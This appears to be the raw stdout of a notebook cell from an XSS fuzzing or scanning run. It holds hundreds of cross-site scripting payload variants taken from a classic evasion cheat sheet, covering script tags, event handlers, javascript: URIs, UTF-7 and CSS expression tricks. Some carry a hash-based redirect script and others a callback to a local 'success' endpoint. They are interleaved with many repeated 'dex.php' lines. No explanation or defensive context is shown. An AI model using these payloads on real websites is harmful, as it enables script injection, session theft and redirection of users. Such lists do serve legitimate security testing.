      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/aa7034e78cc369efd4f1aa84934a176a\">\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/8d3b45ad3ae8ab9aa3348d89d2de1df4\")\";eval(a+b+c+d);\n",
      "<IMG SRC=\"&14;javascript:document.location=document.location.hash.substring(1)\">\n",
      "<STYLE TYPE=\"text/javascript\"><script>document.location=document.location.hash.substring(1)</script></STYLE>\n",
      "<FRAMESET><FRAME SRC=\"http://localhost:19084/success/2577e5835b4c6cc66b14bfa09a0b8ff9\"></FRAMESET>\n",
      "<XSS STYLE=\"xss:expression(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<SCRIPT SRC=http://127.0.0.1>http://localhost:19084/success/8d2727a390ed3e91ae99e02192a42dc8</SCRIPT>\n",
      "<IMG SRC=&{http://localhost:19084/success/75d5d998164846e5a2aa1ea39594380f};>\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-document.location=document.location.hash.substring(1)+ADw-/SCRIPT+AD4-\n",
      "<STYLE>li {list-style-image: url(\"<script>document.location=document.location.hash.substring(1)</script></STYLE><UL><LI>XSS\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<input type=\"image\" dynsrc=\"http://localhost:19084/success/324437cbbdd32a53e0cc62fa13e2d394\">\n",
      "&<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<style><!--</style><SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "&{<script>document.location=document.location.hash.substring(1)</script>};\n",
      "<textarea onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<input onblur=javascript:document.location=document.location.hash.substring(1) autofocus><input autofocus>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:http://localhost:19084/success/b4a22c162d8be9b61d1cbbf9a1ce244a\">]]</C><X></xml>\n",
      "<video onerror=\"javascript:document.location=document.location.hash.substring(1)\"><source>\n",
      "<video poster=javascript:document.location=document.location.hash.substring(1)//\n",
      "<keygen onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<input onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:document.location=document.location.hash.substring(1)>X\n",
      "<video><source onerror=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"http://localhost:19084/success/db3491572c17befb8a7e0fbdb3aa168e\">\n",
      "<BODY ONLOAD=<script>document.location=document.location.hash.substring(1)</script>>\n",
      "<IMG LOWSRC=\"http://localhost:19084/success/23d95014be4a65a7f21cb76e8f3f7ae4\">\n",
      "<IFRAME SRC=\"http://localhost:19084/success/dd6c1f1eb55305f0b9206647afa9c293\"></IFRAME>\n",
      "<BGSOUND SRC=\"http://localhost:19084/success/fdb965670e42d98fb407925ef79f68d1\">\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"http://localhost:19084/success/5307de5fef798b3c806df1b5198c9976\")}</STYLE>\n",
      "<iframe/ /onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<BR SIZE=\"&{<script>document.location=document.location.hash.substring(1)</script>}\">\n",
      "<xml id=\"X\"><a><b><script>document.location=document.location.hash.substring(1)</script>;<b></a></xml>\n",
      "<DIV STYLE=\"background-image: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "--- <IMG SRC=\"http://localhost:19084/success/5fc017777896282ea686891106c1f2fb\"\n",
      "<iframe<?php echo chr(11)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;document.location=document.location.hash.substring(1)&lt;/SCRIPT&gt;\">\n",
      "<iframe<?php echo chr(12)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<SCRIPT>a=/document.location=document.location.hash.substring(1)/alert(a.source)</SCRIPT>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:document.location=document.location.hash.substring(1)\">X\n",
      "<LAYER SRC=\"javascript:document.location=document.location.hash.substring(1)></LAYER>\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=<script>document.location=document.location.hash.substring(1)</script>></OBJECT>\n",
      "<!-- -- --><script>document.location=document.location.hash.substring(1)</script><!-- -- -->\n",
      "X<form id=test onforminput=javascript:document.location=document.location.hash.substring(1)><input></form>\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "'';!--\"<99fa0f2d1919e54b8b9bb36d2582d37f>=&{()}\"\n",
      "\"><SCRIPT>alert('30d6da0b460764ff27ab57861848e0e3')</SCRIPT>\n",
      "\"><img src=\"x:x\" onerror=\"8437559edf49c7cdefba80b8cc2bccd8\">\n",
      "</TITLE>f0250675a01da9432f1a2daa7df1b4df\n",
      "'';!--\"<a37c9905d6d79e7d46afb70d846a29c0>=&{()}\"\n",
      "<IMG SRC=\"ab6cd368e998f217eed09eaf4c8ff36b\">\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=81ef3f94019d0c296922aa2eb5364e99>\n",
      "<IMG SRC=f329c7ddb28dbd752ea32810390a8996>\n",
      "<IMG \"\"\">86bab8036278a74895be044833e6b5db\">\n",
      "<IMG SRC=\" &#14;  aaf30c8e70314a87a3fcb4cb687762c5\">\n",
      "<IMG SRC=`330a50bb4955cbf92bdbdaf657aa25bc`>\n",
      "\">b06aab2d97371a8f97339d01495cc09a\n",
      "<DIV STYLE=\"behaviour: url(c5f86b3a4db770df0fbf749abc4928a7);\">\n",
      "<<SCRIPT>3b6da4ef0eeb834297f078e066db2666//<</SCRIPT>\n",
      "\";8b15c9813190606f799cfcf787978728//\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"7dea90301da0473192c9ef3618e5a0bd\">\n",
      "<BODY ONLOAD=63aff7fbd26fb677b39616e24065b7a4>\n",
      "<IMG SRC='db5c9dc2347e9c4d43c09d9d8ef3b1c9'\n",
      "<BODY BACKGROUND=\"68a125ce023df6e85d08c158c5653dbd\">\n",
      "<IMG DYNSRC=\"ba4482186de23450b9b9052490d2f83a\">\n",
      "<BGSOUND SRC=\"a250eef1af5e2049c0b5070442520f1e\">\n",
      "<IMG LOWSRC=\"34465af8c5670f12d06579925b7e1fc5\">\n",
      "<BR SIZE=\"&{3d00c75d71d96dc1d9023d24b80b38c0}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"c1564d2266601a08370b3e1eea3bd132\">\n",
      "<IMG SRC='vbscript:1c862074465b353e77a29baed938453a'>\n",
      "<IMG SRC=\"livescript:[259b85b1304a47f2713add4d28cdb1ed]\">\n",
      "<IMG SRC=\"mocha:[b945475daa1e8f2cecc16296ca6b7cb0]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=6f233266876b602f71f5cad6bc93e82a\">\n",
      "<TABLE><TD BACKGROUND=\"ba09a24101d4d70c466b07c2aaf3259c\">\n",
      "<TABLE BACKGROUND=javascript:f54b5462b8fd83da6ba0ff26d1db395d>\n",
      "<TABLE BACKGROUND=\"7d5ed75cd9dc236322f88f16be1d494f\">\n",
      "<DIV STYLE=\"background-image: url(baf73f988e613bcefb0caf2b55bfe488);\">\n",
      "<DIV STYLE=\"width: expression(e1472a4796a540b6e0a5d6a57943d45a);\">\n",
      "<iframe/ \"onload=5f2be57edc006ca239d15d615db7b4e8></iframe>\n",
      "<iframe/ /onload=e22a761c2e29560a7ad4854f26a1be01></iframe>\n",
      "<IFRAME SRC=\"45ecd0eade51fa45d890676136f3da29\"></IFRAME>\n",
      "<iframe///////onload=ba0f11824014d1e5aebd687b64e09ec3></iframe>\n",
      "<iframe \"onload=8ae8723665438b75e6b2ca22d6483c8f></iframe>\n",
      "<iframe/ \"onload=69c4a4f07d38b435f0cf46dd08f5b887></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=ab51cdeecc6419877f07030fc5285001></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=888ee6981fde84d95e4c89c8e5085767></iframe>\n",
      "<FRAMESET><FRAME SRC=\"285181fc91e9b98adb9aab90fe7bd93f\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"a5b48424e7079b608002d39d2fe104c9\">\n",
      "<TABLE><TD BACKGROUND=\"98da95f9a5018f5a6ead3eed8523d58e\">\n",
      "<DIV STYLE=\"background-image: url(&#1;d9ce065764d4dad7226d4dc363ffc0e1)\">\n",
      "<DIV STYLE=\"width: expression(f23c2d1ca6377eddc580f0bdf2fd5b73);\">\n",
      "<IMG STYLE=\"xss:expr/*f98cae60def2cadffb64468d8753c796*/ession(f98cae60def2cadffb64468d8753c796)\">\n",
      "<STYLE TYPE=\"text/javascript\">4f5bd34df84269a37d3a5fe2a7198d21</STYLE>\n",
      "<5c33372d88516316494a410decc38ecc STYLE=\"xss:expression(5c33372d88516316494a410decc38ecc)\">\n",
      "<STYLE>.07b8e612a6c2ff82a1904b00e5dd0a30{background-image:url(\"07b8e612a6c2ff82a1904b00e5dd0a30\");}</STYLE><A CLASS=07b8e612a6c2ff82a1904b00e5dd0a30></A>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"c5318e64993e5eb84ce5b27a1ea9d09d\")}</STYLE>\n",
      "<!--[if gte IE 4]>0875412d3cfa5a473f00337cef643442<![endif]-->\n",
      "<BASE HREF=\"5cf4df1f1dcb450648d5f76c84098186//\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=6d2bfd31c95672fe03fd0e26046c0760></OBJECT>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"424aec987d3386a8b61054db4d313845\")\";eval(a+b+c+d);\n",
      "<? echo('<SCR)';echo('IPT>ed9973953bbad1696f37f2e59f487e01</SCRIPT>'); ?>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;312785ee1d7d3a3764d7bcd590e99b33&lt;/SCRIPT&gt;\">\n",
      "<SCRIPT SRC=http://127.0.0.1>2d85afc303d91de835a0721b108ebc06</SCRIPT>\n",
      "<IMG SRC=\"&14;javascript:5a2d3a5fd5db75e8775a3adabda983ff\">\n",
      "<IMG SRC=\"jav&#x0D;ascript:620a40e304564cbb729fa885af84ae89\">\n",
      "--- <IMG SRC=\" &#14;  34055cfb07b3386e80b07a6c922b7d46\">\n",
      "--- <IMG SRC=\"0465864a5196fdad1e62494ec14097ac\"\n",
      "<SCRIPT>a=/a104ba5200c0bbb3a6a6f3b528793833/alert(a.source)</SCRIPT>\n",
      "--- \";d943da11ed4e51ed74d2b38466193bfa;//\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=aa96066089970624255adad0f90c1bcb\">\n",
      "<SCRIPT <B>=305a4a88c7bc3cfdc08f39a89b6a6f2c\"></SCRIPT>\n",
      "<IFRAME SRC=\"javascript:a7d09931ce3a3ddafc2731db7ebcd44a <\n",
      "<SCRIPT>a=/108f8f6e5e6a679300a6a25acb752288/n108f8f6e5e6a679300a6a25acb752288</SCRIPT>\n",
      "<LAYER SRC=\"javascript:6d67995e8ce1ec19a9d34de057856e7d></LAYER>\n",
      "<STYLE>li {list-style-image: url(\"e07ab6e6ab3ee0533ca3c77a58f21de9</STYLE><UL><LI>e07ab6e6ab3ee0533ca3c77a58f21de9\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:32de3adedbfea4101d9048c4916b23ce\">\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-e5e89e8b8538ff360073f2bc8ece4864+ADw-/SCRIPT+AD4-\n",
      "<a href=\"javascript#4abbc22b68d4583ffcdcec6121a251c7\">\n",
      "<input type=\"image\" dynsrc=\"40167c08a892c9c23daf94253fff9e1f\">\n",
      "&8d18ebf8e8212980947628a1a87f6ca3\">\n",
      "<IMG SRC=&{7ad092f79229f30a445d3c8d7e6fcb0d};>\n",
      "&{5a3d4d4abda0b358fdd706e8695f5904};\n",
      "<a href=\"about:9201b02580d72eaa555db8cc8c0ba85b\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:a8f134fc66bd8d1e950f77466c677aaf\">\n",
      "<DIV STYLE=\"binding: url(javascript:51708cfda0724ef4afe0f92b0775ae63);\">\n",
      "<style><!--</style><SCRIPT>eb80ff29846d67f2ae5d6902c685a1fa//--></SCRIPT>\n",
      "<!-- -- -->9083102f65d08579f02cf95151aa98dc<!-- -- -->\n",
      "![CDATA[<!--]]<SCRIPT>570e107dabb2b1775ef1082da4b2610f//--></SCRIPT>\n",
      "<xml id=\"X\"><a><b>fcbdb712f792fa823bbb952160ff6957;<b></a></xml>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#231a9544f959ca7d43e2d4110ca531df\"></div>\n",
      "<select onfocus=javascript:45d6cd77a011efc4d6e9b0e0be366b67 autofocus>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:20b6463d7a7bf114857bc54534208b3d\">X\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:5671ab1a17659f2d6b2d8cd855dc70b2\">]]</C><X></xml>\n",
      "<input onfocus=javascript:c381861f8d96501ee948fbc700688e77 autofocus>\n",
      "<keygen onfocus=javascript:d2935dd0d9ab1b4e6a0bba16e390b5f4 autofocus>\n",
      "<body onscroll=d10c2ce09e2d39e03ddd08681491dc53><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<input onblur=javascript:f98b2b6a4af520b19b72fa84e337bdb5 autofocus><input autofocus>\n",
      "<textarea onfocus=javascript:c65c94794d848b9c39e54fb243b6fe5a autofocus>\n",
      "<video poster=javascript:2ae403619a82f3260ad530702386ff27//\n",
      "X<form id=test onforminput=javascript:11aec0145e221a23e82e351aa8ab41af><input></form>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:e3bc1775c9a35ade1903b4939d2e5ff3>X\n",
      "<video><source onerror=\"javascript:a039c9dc85769d9b560b5f27e95eb2c6\">\n",
      "<video onerror=\"javascript:1acf16296f3475c6130f047d86ef703c\"><source>\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<IMG SRC=http://localhost:19084/success/f329c7ddb28dbd752ea32810390a8996>\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"http://localhost:19084/success/7dea90301da0473192c9ef3618e5a0bd\">\n",
      "<BGSOUND SRC=\"http://localhost:19084/success/a250eef1af5e2049c0b5070442520f1e\">\n",
      "<IMG SRC=`http://localhost:19084/success/330a50bb4955cbf92bdbdaf657aa25bc`>\n",
      "\"><img src=\"x:x\" onerror=\"http://localhost:19084/success/8437559edf49c7cdefba80b8cc2bccd8\">\n",
      "<IMG SRC=\"http://localhost:19084/success/ab6cd368e998f217eed09eaf4c8ff36b\">\n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "\"><SCRIPT>alert('http://localhost:19084/success/30d6da0b460764ff27ab57861848e0e3')</SCRIPT>\n",
      "<<SCRIPT>document.location=document.location.hash.substring(1)//<</SCRIPT>\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<BODY BACKGROUND=\"http://localhost:19084/success/68a125ce023df6e85d08c158c5653dbd\">\n",
      "<iframe<?php echo chr(11)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG \"\"\"><script>document.location=document.location.hash.substring(1)</script>\">\n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "<DIV STYLE=\"behaviour: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<BODY ONLOAD=<script>document.location=document.location.hash.substring(1)</script>>\n",
      "<IMG LOWSRC=\"http://localhost:19084/success/34465af8c5670f12d06579925b7e1fc5\">\n",
      "<IMG DYNSRC=\"http://localhost:19084/success/ba4482186de23450b9b9052490d2f83a\">\n",
      "<BR SIZE=\"&{<script>document.location=document.location.hash.substring(1)</script>}\">\n",
      "<IMG SRC='http://localhost:19084/success/db5c9dc2347e9c4d43c09d9d8ef3b1c9'\n",
      "<a href=\"about:<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG SRC=\"livescript:[http://localhost:19084/success/259b85b1304a47f2713add4d28cdb1ed]\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"http://localhost:19084/success/c1564d2266601a08370b3e1eea3bd132\">\n",
      "<IMG SRC=\"mocha:[http://localhost:19084/success/b945475daa1e8f2cecc16296ca6b7cb0]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<TABLE BACKGROUND=javascript:document.location=document.location.hash.substring(1)>\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/ba09a24101d4d70c466b07c2aaf3259c\">\n",
      "<IMG SRC='vbscript:http://localhost:19084/success/1c862074465b353e77a29baed938453a'>\n",
      "<iframe \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<STYLE TYPE=\"text/javascript\"><script>document.location=document.location.hash.substring(1)</script></STYLE>\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<? echo('<SCR)';echo('IPT>document.location=document.location.hash.substring(1)</SCRIPT>'); ?>\n",
      "<STYLE>li {list-style-image: url(\"<script>document.location=document.location.hash.substring(1)</script></STYLE><UL><LI>XSS\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<BASE HREF=\"<script>document.location=document.location.hash.substring(1)</script>//\">\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "&<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<DIV STYLE=\"background-image: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<IFRAME SRC=\"http://localhost:19084/success/45ecd0eade51fa45d890676136f3da29\"></IFRAME>\n",
      "<iframe/ /onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<select onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<LAYER SRC=\"javascript:document.location=document.location.hash.substring(1)></LAYER>\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/98da95f9a5018f5a6ead3eed8523d58e\">\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-document.location=document.location.hash.substring(1)+ADw-/SCRIPT+AD4-\n",
      "<IFRAME SRC=\"javascript:document.location=document.location.hash.substring(1) <\n",
      "<iframe<?php echo chr(12)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/7d5ed75cd9dc236322f88f16be1d494f\">\n",
      "<STYLE>.XSS{background-image:url(\"http://localhost:19084/success/07b8e612a6c2ff82a1904b00e5dd0a30\");}</STYLE><A CLASS=XSS></A>\n",
      "<XSS STYLE=\"xss:expression(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<FRAMESET><FRAME SRC=\"http://localhost:19084/success/285181fc91e9b98adb9aab90fe7bd93f\"></FRAMESET>\n",
      "<IMG STYLE=\"xss:expr/*XSS*/ession(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<!--[if gte IE 4]><script>document.location=document.location.hash.substring(1)</script><![endif]-->\n",
      "--- <IMG SRC=\"http://localhost:19084/success/0465864a5196fdad1e62494ec14097ac\"\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/a5b48424e7079b608002d39d2fe104c9\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=<script>document.location=document.location.hash.substring(1)</script>></OBJECT>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;document.location=document.location.hash.substring(1)&lt;/SCRIPT&gt;\">\n",
      "<SCRIPT SRC=http://127.0.0.1>http://localhost:19084/success/2d85afc303d91de835a0721b108ebc06</SCRIPT>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"http://localhost:19084/success/c5318e64993e5eb84ce5b27a1ea9d09d\")}</STYLE>\n",
      "<input onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/424aec987d3386a8b61054db4d313845\")\";eval(a+b+c+d);\n",
      "&{<script>document.location=document.location.hash.substring(1)</script>};\n",
      "<IMG SRC=\"&14;javascript:document.location=document.location.hash.substring(1)\">\n",
      "<video poster=javascript:document.location=document.location.hash.substring(1)//\n",
      "<SCRIPT <B>=document.location=document.location.hash.substring(1)\"></SCRIPT>\n",
      "--- \";<script>document.location=document.location.hash.substring(1)</script>;//\n",
      "<SCRIPT>a=/document.location=document.location.hash.substring(1)/alert(a.source)</SCRIPT>\n",
      "<input type=\"image\" dynsrc=\"http://localhost:19084/success/40167c08a892c9c23daf94253fff9e1f\">\n",
      "<keygen onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<SCRIPT>a=/XSS/ndocument.location=document.location.hash.substring(1)</SCRIPT>\n",
      "<style><!--</style><SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<!-- -- --><script>document.location=document.location.hash.substring(1)</script><!-- -- -->\n",
      "<xml id=\"X\"><a><b><script>document.location=document.location.hash.substring(1)</script>;<b></a></xml>\n",
      "<textarea onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "![CDATA[<!--]]<SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<input onblur=javascript:document.location=document.location.hash.substring(1) autofocus><input autofocus>\n",
      "<DIV STYLE=\"binding: url(javascript:document.location=document.location.hash.substring(1));\">\n",
      "<body onscroll=<script>document.location=document.location.hash.substring(1)</script>><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<IMG SRC=&{http://localhost:19084/success/7ad092f79229f30a445d3c8d7e6fcb0d};>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:document.location=document.location.hash.substring(1)\">X\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:document.location=document.location.hash.substring(1)>X\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:http://localhost:19084/success/5671ab1a17659f2d6b2d8cd855dc70b2\">]]</C><X></xml>\n",
      "<video><source onerror=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "'';!--\"<423eaf987ee7f034efd86cd36756fe3e>=&{()}\"\n",
      "\"><SCRIPT>alert('1ddd1a34d703a6efa45b1860efcad3bb')</SCRIPT>\n",
      "\">1ad0d1fe9574147b51a3e7f798f2998f\n",
      "\"><img src=\"x:x\" onerror=\"91b451d8fd6ffe7681d867c5d1c4626e\">\n",
      "</TITLE>c28577a789ac53fc29b3dcd8cbc31d80\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=ad582fd5e81e488b37c036d51efc578b>\n",
      "'';!--\"<4313f64d48e6cb6b0cbdd2c39bf9bfbb>=&{()}\"\n",
      "<IMG SRC=\"bc997cd712da9e2310ac0c5d9dafe68b\">\n",
      "<IMG SRC=c63f6e28e227714808ded2a53a211c6c>\n",
      "<IMG SRC=`9a37c33d4271e907c04d68350134c352`>\n",
      "<IMG SRC=\" &#14;  13617db1f20204d216d3731525e9d2c6\">\n",
      "<DIV STYLE=\"behaviour: url(fc35183d42797e01562f0012af0915e4);\">\n",
      "<IMG \"\"\">cf47ed97f9d18d18e09fc68f5c6b31bc\">\n",
      "<<SCRIPT>9ee8fe7b39744863be266bb1b1189dd7//<</SCRIPT>\n",
      "\";38e35b965533178247ecd1629fd22a43//\n",
      "<IMG SRC='25beacb7c00abfddd8a0ab4b75d6301d'\n",
      "<BODY BACKGROUND=\"76186da552c5212aba15681180b41158\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"655ab48c63fbf07e6a8ead3d353dbc15\">\n",
      "<BODY ONLOAD=7f3ebd05dd3b0e34802542ff16e99e6d>\n",
      "<IMG LOWSRC=\"d613bd1fc3ac0d5dbfd320c678973490\">\n",
      "<IMG DYNSRC=\"063ce2e03e99b16719432f2eec79f3cc\">\n",
      "<BGSOUND SRC=\"96af48d5395aafaa1395c7caec9ff626\">\n",
      "<BR SIZE=\"&{0e8336f009c7bdc822a512fe85c0b32b}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"ce7e52ee0c0a53a4a6506f4b68de7599\">\n",
      "<IMG SRC='vbscript:5c59565c553ce0b0a311634d3da10dce'>\n",
      "<IMG SRC=\"mocha:[7fccc7002b5af6b038193a75e6ff98e0]\">\n",
